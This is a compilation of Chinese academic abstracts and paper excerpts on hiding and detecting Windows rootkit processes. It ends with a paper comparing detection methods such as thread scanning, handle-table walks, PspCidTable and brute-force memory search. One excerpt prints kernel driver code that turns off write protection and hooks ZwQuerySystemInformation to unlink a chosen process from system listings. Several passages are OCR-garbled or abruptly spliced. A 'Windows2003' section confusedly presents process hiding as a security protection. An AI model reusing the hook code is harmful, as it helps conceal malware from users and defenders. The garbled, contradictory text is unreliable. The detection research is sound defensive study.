Win32Rootkit的进程隐藏检测技术
RootKit文件隐藏技术实现

RootKit文件隐藏技术实现
RootKit文件隐藏技术实现
作者:夜枫
作者机构:无
来源:黑客防线
年:2008
卷:000
期:004
页码:79-82
页数:4
中图分类:TP393.08
正文语种:CHI
关键词:RootKit;隐藏文件;隐藏技术;API函数;win32编程;当前目录;Hook;磁盘驱动
摘要:R00tKit隐藏文件的原理并不复杂,我们知道,win32编程中枚举一个目录下的文件通常是API函数FindFirstFile和FindNextFile两个组合起来,枚举到当前目录下的文件,而这两个APl实际对应的内核Native API是NtQueryDirectoryFile,所以我们只需要在内核Hook这个API函数,并做相应的处理就可以实现文件的隐藏。
当查到我们要隐藏的文件时,就在内核将这个文件剔除掉,所以FindFirstFile和FindNextFile实际得到的是我们已经剔除过的信息了,这样就不会被枚举出来了,也就看不到我们的文件了。
当然,这个方法是过不了反RootKit工具的,例如IceSword用的是直接和磁盘驱动通讯的方法获得到数据,所以R00tKit隐藏对于这类工具是无效的。
Windows Rootkit实现及其检测技术分析

Windows Rootkit实现及其检测技术分析梁冰【期刊名称】《电子世界》【年(卷),期】2013(000)009【摘要】Rootkit是恶意软件用于隐藏自身及其它特定资源和活动的程序集合。
本文针对windows Rootkit的启动方式,将Rootkit归为先于操作系统启动和伴随操作系统启动两类,详细分析了这两类windows Rootkit的启动方式、实现原理及隐藏技术,并对现有的检测方法的原理进行了深入的分析。
% Rootkit is used to hide its malicious software and other special resources and activities of the procedures set.In this paper,starting with windows Rootkit,Rootkit is prior to the operating system boot and with the operating system to start the two class,the start of the two kinds of windows Rootkit,the realization principle and hiding technology is analyzed in detail,and the principle of the existing detection methods are analyzed.【总页数】3页(P13-15)【作者】梁冰【作者单位】华北计算技术研究所【正文语种】中文【相关文献】1.Windows RootKit检测与取证 [J], 王宁;刘志军2.Windows RootKit进程隐藏与检测技术的研究 [J], 刘正宏3.一种基于交叉视图的Windows Rootkit检测方法 [J], 傅德胜;曹成龙4.基于 Windows API 调用机制的 Rootkit检测系统的设计与研究 [J], 袁宇恒;黄耿星;龚征5.Windows RootKit 检测与取证技术研究 [J], 王宁;刘志军;麦永浩因版权原因,仅展示原文概要,查看原文内容请购买。
Windows Rootkit实现及其检测技术分析

随操 作 系 统 启 动 的R o o t k i t 中 ,深 入 分 析 该条 目的前5 个 字符 ( w i n d o w s 支持m u t i l , 内核 劫持 、s v c h o s t 宿主 启动 、w i n l o g o n 事 S C S i ,S i g n a t u r e ) ,如 果是 S c S i ,就 会
R o o t k i t 1 最早 出现于U n i x 系统中 ,随着
计算机 技术的发展 ,现在 多种操作系 统平 台 中都出现 了R o o t k i t 。现在 的研 究表明恶意代 码 的R o o t k i t 技术化趋 势非常 明显 ,R o o t k i t
依 照w i n d o w s R o o t k i t 的启 动 实现 方 来 实现 内核 的劫持 , 当w i n d o w s 通 过N R L D R
Ke y w or d: Root l d t;vs hos t . e x e; BI OS Ro od & ; M BR Bo ot it k
1 . 介绍
2 . W i n d o w s R o o { k i t 的实现原理
利 用B o o t . i n i 文 件 中 的特殊 选项 S C S i
Re s e a r c h on de s i g ni ng a nd de t e c t i ng t e c hno l ogy o f R oot ki t
Abs t r a c t :R o o d d t i s u s e d t o h i d e i t s ma l i c i o u s s o f t w a r e a n d o t h e r s p e c i a l r e s o u r c e s a n d a c t i v i t i e s o f t h e p r o c e d u r e s s e t I n t h i s p a p e r ,s t a r i t n g wi h t w i n d o ws Ro o t l d t , Ro o d d t i s p i r o r t o he t o p e r a t i n g s y s t e m b o o t a n d wi h t he t o p e r a i t n g s y s t e m t o s t rt a he t t wo c l a s s ,t he s t a r t o f he t t wo k i n d s o f wi n d o ws Ro o t k i t ,t he r e a l i z a t i o n p r i n c i p l e nd a h i d i n g t e c h n o l o g y i s a n a l y z e di n d e t a i l ,a ndt h ep r i n c i p l e o f he t e x i s t i n gd e t e c t i o nme t h o d sa re na a l y z e d
Windows 内核级进程隐藏、侦测技术(4)

Windows 内核级进程隐藏、侦测技术(4) Windowsxx 内核级进程隐藏、侦测技术ULONG ProcessId; //进程ID号ULONG InheritedFromProcessId; //继承语柄的进程ID号ULONG HandleCount; //进程翻开的语柄数量ULONG Reserved2[2]; //VMCOUNTERS VmCounters; //虚拟内存的使用情况IOCOUNTERS IoCounters; //IO操作的统计,Only For 2000 struct SYSTEMTHREADS Threads[1]; //描述进程中各线程的数组当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。
我们要做的仅仅是把要隐藏的进程从链中删除。
4. 核心实现//系统效劳表入口地址extern PServiceDescriptorTableEntry KeServiceDescriptorTable;NTSTATUS DriverEntry(IN PDRIVEROBJECT DriverObject, IN PUNICODESTRING RegistryPath)……asm{mov eax, cr0mov CR0VALUE, eaxand eax, 0fffeffffh //DisableWriteProtectmov cr0, eax}//取得原来ZwQuerySystemInformation的入口地址RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION) (((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)] );//Hook((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)]=HookFunc;//EnableWriteProtectasm{mov eax, CR0VALUEmov cr0, eax}……return STATUSSUCCESS;VOID DriverUnload (IN PDRIVEROBJECT pDriverObject)……//UnHook恢复系统效劳的原始入口地址((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformatio n+1)] = RealZwQuerySystemInformation;……NTSTATUS HookFunc(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)NTSTATUS rc;struct SYSTEMPROCESSES *curr;// 保存上一个进程信息的指针struct SYSTEMPROCESSES *prev = NULL;//调用原函数rc = (RealZwQuerySystemInformation) ( SystemInformationClass,SystemInformation,SystemInformationLength, ReturnLength);if(NTSUCCESS(rc)){if(5 == SystemInformationClass)//如果系统查询类型是SystemProcessesAndThreadsInformation {curr = (struct SYSTEMPROCESSES *)SystemInformation;//加第一个偏移量得到第一个system进程的信息首地址if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);while(curr){if(RtlCompareUnicodeString(&hideprocessname, &curr->ProcessName, 1) == 0)//找到要隐藏的进程if(prev){if(curr->NextEntryDelta){//要删除的信息在中间prev->NextEntryDelta += curr->NextEntryDelta;}else{//要删除的信息在末尾prev->NextEntryDelta = 0;}}else{if(curr->NextEntryDelta){//要删除的信息在开头(char *)SystemInformation += curr->NextEntryDelta; }else{SystemInformation = NULL;}//如果链下一个还有其他的进程信息,指针往后移if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta); else{curr = NULL;break;}}if(curr != NULL){//把当前指针设置成前一个指针,当前指针后移prev = curr;if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);else curr = NULL;}} // end while(curr)}}return rc;通过IOCTL和Ring3级的应用程序通过DeviceIoControl (API)交互信息。
Windows下基于交叉视图的Rootkit进程隐藏检测技术

k r e b et nme r .Ex e i n ss o t a hstc nq eo ss t f d d tcinefc. e n lo jcsi mo y p rme t h w h tt i e h iu wn ai i ee t fe t se o
KEYW ORDS r o k t p o e sh d n , me r e r h o t i, r c s i i g mo y s a c
到 目标 程 序 的地 址 空 间 , 析 内存 中 目标 程 序 的 P 分 E 格 式 , 到 I T 中 目标 A I 找 A P 函数 的地址 , 后 替换 为 然
展 。 okt Ro ti 是能够 持久且难 于检测地存 在 于计 算机 之 中的一 组程 序和代码 [ 。 用 Wid w o ti, 以 1 利 ] n o sR okt可
Ro t i 初 出现 于 Unx系统 , 1 9 okt最 i 在 9 9年 的 时
F n t nHo kn ) u ci o ig 。导入地址 表 ( o I AT) 子通过 进入 钩
候 , e gu d开 发 出 了 针 对 Wid ws系 统 的 Grg Ho ln no R o kt 此 后 , n o okt 术 得 到 了快 速发 o ti, Wid wsRo ti 技
1 2 内核 级 R okt . o ti 的进 程 隐藏技术
行 隐 藏 , 而使入 侵者 进入 被攻 占的系统 后 所 引起 的 从
变化 ( 启 动 了新进 程 、 如 增加 了新 文R okt o ti技术 中的一
种 典型 应用 。 将进 程隐藏起来 , 意味着程 序可 以在不被
Wid ws 基 于交 叉视 图 的 Ro ti进 程 隐 藏 检 测 技 术 no 下 okt
Windows环境下Rootkit隐藏技术研究

Windows环境下Rootkit隐藏技术研究
王东利;栾国森;朱堃
【期刊名称】《电脑知识与技术》
【年(卷),期】2008(004)0z2
【摘要】Rootkit:是攻击者用采隐藏踪迹和保留访问权限.窃取密码、留下后门等的一组工具的集合,是一种危害性极大的特洛伊木马程序.深入研究Rootkit隐藏技术,有助于提高发现、检测和跟踪它的能力.本文针对windows环境下的Rootkit 隐藏技术进行了深入的分析和研究,并对相应的技术原理做了比较,展望了Rootkit 隐藏技术的未来发展趋势.
【总页数】2页(P141-142)
【作者】王东利;栾国森;朱堃
【作者单位】三峡大学,电气信息学院,湖北宜昌,443002;三峡大学,电气信息学院,湖北宜昌,443002;三峡大学,电气信息学院,湖北宜昌,443002
【正文语种】中文
【中图分类】TP3
【相关文献】
1.Windows环境木马进程隐藏技术研究 [J], 卢立蕾;文伟平
2.Windows Rootkit隐藏技术研究 [J], 杨彦;黄皓
3.Windows系统Rootkit隐藏技术研究与实践 [J], 康治平;向宏;胡海波
4.Rootkit进程隐藏与检测技术研究 [J], 孟晨宇;阮阳;王佳伟;周洁;康晓凤
5.Rootkit进程隐藏与检测技术研究 [J], 孟晨宇;阮阳;王佳伟;周洁;康晓凤
因版权原因,仅展示原文概要,查看原文内容请购买。
Windows2003 内核级进程隐藏侦测技术

Windows2003 内核级进程隐藏侦测技术随着计算机技术的不断发展,操作系统也在不断升级更新。
Windows2003是微软公司所推出的一款操作系统,该操作系统被广泛应用于企业级服务器系统。
然而,随着信息技术的快速发展,操作系统的安全性也面临着前所未有的挑战。
在此背景下,Windows2003内核级进程隐藏侦测技术应运而生。
内核级进程隐藏侦测技术是一种用于保护系统安全的技术,它可以将进程与显示表格分离,从而达到进程的隐藏目的,使得恶意软件无法将其运行的进程显示在任务管理器中。
这项技术的出现,有效地增强了系统的安全性,也为互联网信息安全提供了保障。
Windows2003内核级进程隐藏侦测技术的实现原理主要由以下几点组成:1. Hook技术:通过”钩子”技术,将Windows系统的进程管理函数替换,使得进程在启动时被隐蔽起来,而无法被恶意软件所察觉。
2. 内存驱动技术:采用内存驱动的方式,将进程所处的空间隔离开来,从而达到隐蔽进程的目的。
这种技术可以实现隐藏进程、文件等数据的操作,并且提供了更加安全的数据存储方式。
3. 隐藏对象服务:通过隐藏对象服务机制,将进程隐藏在系统的许多服务的背后,从而达到使其不被发现的目的。
通过以上实现原理,Windows2003内核级进程隐藏侦测技术可以有效地隐藏系统进程,避免被恶意软件所侦测。
同时,该技术也具有以下几个优势:1. 安全性高:采用内存驱动技术,能够有效地保护系统的安全性,避免被黑客攻击,从而确保系统的稳定运行。
2. 易于扩展:内核级进程隐藏侦测技术具有高度模块化的特点,能够很方便地进行扩展,加强系统的安全性。
3. 高效性:系统的隐藏进程只需要进行一次隐藏操作,就可以保持长期隐蔽,无需频繁操作,使得系统更加稳定。
总的来说,Windows2003内核级进程隐藏侦测技术对于保护系统的安全具有非常重要的意义。
在企业级服务器系统的信息安全防护中,这项技术可以大大提高系统的安全性和运行效率,有效地避免黑客攻击、保护企业的信息和数据安全,为企业的发展注入了新的活力。
Windows系统下Rootkit的隐藏与检测

R tt o k 的攻击过程主要包括 : i ①收集 目标 系统 信息. 攻击者在攻击某个系统之前 , 需要知道 目 标系 统有哪些漏洞 , 使用什么操 作系统 , 哪些 帐号等. 有 ②获得管理员等级的用户 的访问权限. 在得到 目标 系统足够 的信 息 后 , 攻击 者便 开 始 利 用 其 漏 洞发 起 进攻. 比较常见 的是先获得普通用户访问权 限, 然后 再利用 目标系统的本地漏洞提高到超级用户访问权 限. 还有 一种方 式 是直 接 利用 f t tnt 网络 服 p和 e e 等 l 务的漏洞获得超级用户访问权限. ③在 目标操作 系 统上安装 R o i 获得超级用户访问权限后 , ot t k. 攻击者 就可以在 目标系统上安装 R o i 来隐藏攻击行为 , ot t k, 创建各种后 门. ④控制 目 标系统. 目标系统上安装 在 Ro i , ot t 就可以持久的控制 目标系统 , k后 对其进行各
些 服务 等等 .
2 Wi o s oti隐藏技术 n w o t d R k
R ti隐藏 的实 现 过 程 主要 有 : 1 用 户 态 下 ok t ()
的 A I ok 在用户态 , PH . 一种常用的隐藏方法就是修 改P E文件 的 IT I o d rsT b ) 实现 .A A (mp ̄A des al 来 e IT 中记 录 了该 文 件 运 行 时 需 要 调 用 的所 有 函数 链 接 库 . E文件 运行 时会将 自己和 IT中记 录 的链 接库 P A
种攻 击 , 而且不 被 目标 系统 的管 理 员 察 觉 . 如 : 例 利 用 目标 系统 攻 击 其 它 系统 , 目标 系统 拒绝 提 供 某 使
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
A c a d e m i c R e s e a r c h学术研究62收稿日期:2008-09-17作者简介:林卫亮,1982年生,硕士研究生,研究方向:网络攻击与防御;王轶骏,1980年生,讲师,研究方向:网络主动防御技术与操作系统安全机制;薛质,1971年生,教授,研究方向:计算机通信网、信息安全、网络安全攻防与评测。
林卫亮,王轶骏,薛质(上海交通大学信息安全工程学院,上海 200240)【摘 要】Rootkit是现今一种越来越流行的系统底层隐蔽机制及其相应的实现程序,能够让攻击者长期保持对系统的最高控制权限,其中,实现进程的隐藏是Rootkit的最常见功能之一。
论文针对Win32 Rootkit的进程隐藏检测的若干技术方法进行了深入研究和实现,分析比较了各自的优缺点,并最终提出了这项技术在未来的展望。
【关键词】Rootkit Win32;进程隐藏;检测【中图分类号】TP309 【文献标识码】A 【文章编号】1009-8054(2009) 03-0062-02Technology of Hidden Process Rootkit on Win32LIN Wei-liang, WANG Yi-jun, XUE Zhi(Information Security Engeneering School of Shanghai Jiaotong University, Shanghai 200240, China)【Abstract 】Rootkit is a system layer hidden mechanism and implementation program and is becoming more and more popular. It is designed to take fundamental control of a computer system, without authorization by the system owners and legitimate managers. Concealing running processes is one of the Win32 Rootkit 's standard functions. In this paper, the techniques for detecting this kind of Win32 Rootkit, are studiues and implemented their advantages and disadvantages analyzed and compaired, Finally, some prospects for this technique are proposed.【Keywords 】Rootkit Win32; Concealing running processes; detectionWin32 Rootkit 的进程隐藏检测技术0 引言现今,Rootkit是入侵者在侵入目标系统后用以长期隐蔽的重要技术,并能够使其保持目标系统上的最高权限,即传统意义上的“root”用户。
Rootkit分为用户层Rootkit和内核层Rootkit,其中,基于内核层Rootkit技术的恶意代码凭借深入的底层隐蔽技术,能够躲避绝大多数防火墙的拦截以及杀毒软件的查杀,对计算机安全构成极大的威胁[1]。
本文针对目前流行的Win32 Rootkit的进程隐藏检测技术进行了深入研究和实现,并比较了各自的优缺点。
1 隐藏进程的检测技术进程隐藏是Win32平台下Rootkit的标准功能,只要能检测出隐藏的进程,就很有可能会发现Win32 Rootkit。
下面我们深入分析隐藏进程检测的几种方法。
1.1 Klister技术Klister技术基本的原理是通过线程分配器找到所有的线程结构ETHREAD,然后依次找到ETHREAD所对应的进程结构EPROCESS,最后合并结果,就可以得到系统中所有真实运行的进程的列表。
经过实验,在Windows 2000系统中,我们可以检测到FU隐藏的进程,yyt_hac`sntRootkit1.2.2隐藏的进程RtKit.exe和hackerdefender1.0.0隐藏的进程hxdef100.exe。
缺点是Klister只能在Windows 2000系统中使用。
如果自己实现了内核的线程调度,就可以躲过Klister的检测。
PHIDE2 engine实现了这个调度方法躲过了Klister4.0的检测。
1.2 挂钩SwapContext技术由于Klister技术的局限性,Kkaslin提出了一种新的信息安全与通信保密・2009.3学术研究A c a d e m i c R e s e a r c h63技术——挂钩SwapContext技术[2]。
SwapContext函数位于Ntosknl.exe中,在每次线程切换的时候执行,只要挂钩这个函数,就可以得到每次线程调度时换进换出的线程的信息。
通过在内存中搜索20个字节长的特征值来获取SwapContext函数的地址,在获得地址后,再利用Detour技术挂钩SwapContext函数。
经过实验,在Windows系统中能发现被Win32Rootkit隐藏的大部分进程。
但缺点同Klister一样,如果Rootkit实现了内核的线程调度,也可以躲过swap_hook.sys的检测。
1.3 遍历句柄表技术Windows系统为了方便枚举进程,所有进程的句柄表之间通过LIST_ENTRY链接起来。
通过寻找任意进程的句柄表,然后遍历句柄表的链表就可以标识出系统上的所有进程。
另外一个可以获得几乎全部进程句柄的方式就是遍历CSRSS.EXE进程的句柄表[1],它拥有除Idle、System、SMSS.EXE、CSRSS.EXE 4个进程之外的所有进程的句柄。
通过遍历CSRSS.EXE中的句柄并标志出它们所指代的进程,可以得到一个数据集合。
这种方式的缺点是如果Rootkit把要隐藏的进程的句柄从HANDLE_TABLE中删除,将检测不到隐藏的进程。
1.4 pspCidTable扫描技术pspCidTable是内核未导出的HANDLE_TALBE结构,它也保存着所有进程和线程对象的句柄,只要能遍历pspCidTable句柄表,就可以遍历到系统的所有进程[3]。
获得pspCidTable有2种方法,分别为:在PsLookupProcessByProcessId函数中搜索特征串定位pspCidTalbe;利用KDDEBUGGER_DATA32结构得到pspCidTable。
在得到pspCidTable后,就可以通过ExEnumHandleTable或PsLookupProcessByProcessId来枚举进程。
为了防止这些函数被hook,可以自己实现这些操作。
经过实验,在Windows XP和Server 2003系统下能够发现系统中所有的进程。
著名的Rootkit检测软件Blacklight就是采用这种方法。
这种技术方法的缺点与遍历句柄表一样,一旦Rootkit抹掉了pspCidTable,这种技术也就无效了。
1.5 内存暴力搜索在32位x86系统中,总的虚拟地址空间最大值为4GB,在默认情况下,Windows将从x80000000到xFFFFFFFF用作受保护的操作系统内存。
内存的暴力搜索就是从系统内存x80000000开始搜索每个进程的EPROCESS结构,Windows创建一个进程,内核中就有一个EPROCESS对象与之对应,每个Windows内核对象都由2部分组成:对象头和对象体。
在对象头中存储着这个对象的类型信息,通过比较这个信息就可以判断当前的对象是否为进程类型[4]:#define OBJECT_HEADER_SIZE 0x018#define OBJECT_TYPE_OFFSET 0x008ObjectTypeAddress=pEProcess-OBJECT_HEADER_SIZE+OBJECT_TYPE_OFFSET通过ObjectTypeAddress判断当前对象是否为进程对象,如果是,则输出该进程信息,包括EPROCESS地址、进程ID和进程名。
经过实验,内存暴力搜索具有强大的功能。
通过比较其输出和任务管理器查询到的进程,可以发现所有Win32 Rootkit隐藏的进程。
目前还没有发现可以躲过内存暴力搜索的Win32 Rootkit。
也就是说,内存暴力搜索可以检测出其他检测方法所不能检测出的Rootkit。
2 结语通过对检测方法的研究和实现,我们发现目前在内核中利用Rootkit来隐藏进程越来越难。
而且现行的很多Rootkit检测软件也在不断升级并采用多种检测方法,这样就会得出比较正确稳定的结果。
Rootkit和Anti Rootkit的发展是不断促进的过程。
有人提出抹掉进程全部句柄和修改进程内核对象来躲避检测,这种方法实现起来有比较大的技术难度。
针对这种方法,我们觉得基于资源申请的检测是一种比较好的检测方法,因为任何进程在系统中运行,总要申请资源,这些资源不仅包括CPU,还有内存申请、硬盘读写、网络端口等等,通过监控这些资源就会得到隐藏进程的信息。
参考文献[1] Greg Hoglund,James Butler. Rootkit:SubvertingThe Windows Kernel[M]. Addison WesleyProfessional,2006.[2] Kimmo. Detecting Hidden Process by Hooking theSwapContext Function[DB/OL]. https://www.Rootkit.com/newsread.php?newsid=170,AUG.2004.[3] Jimhokin.Detection of Hidden Process[DB/OL].https://www.Rootkit.com/newsread.php?newsid=434,JAN 2006.[4] Russinovich E Mark,Solomon A D. 深入解析Windows操作系统[M]. 4版.北京:电子工业出版社,2007. 。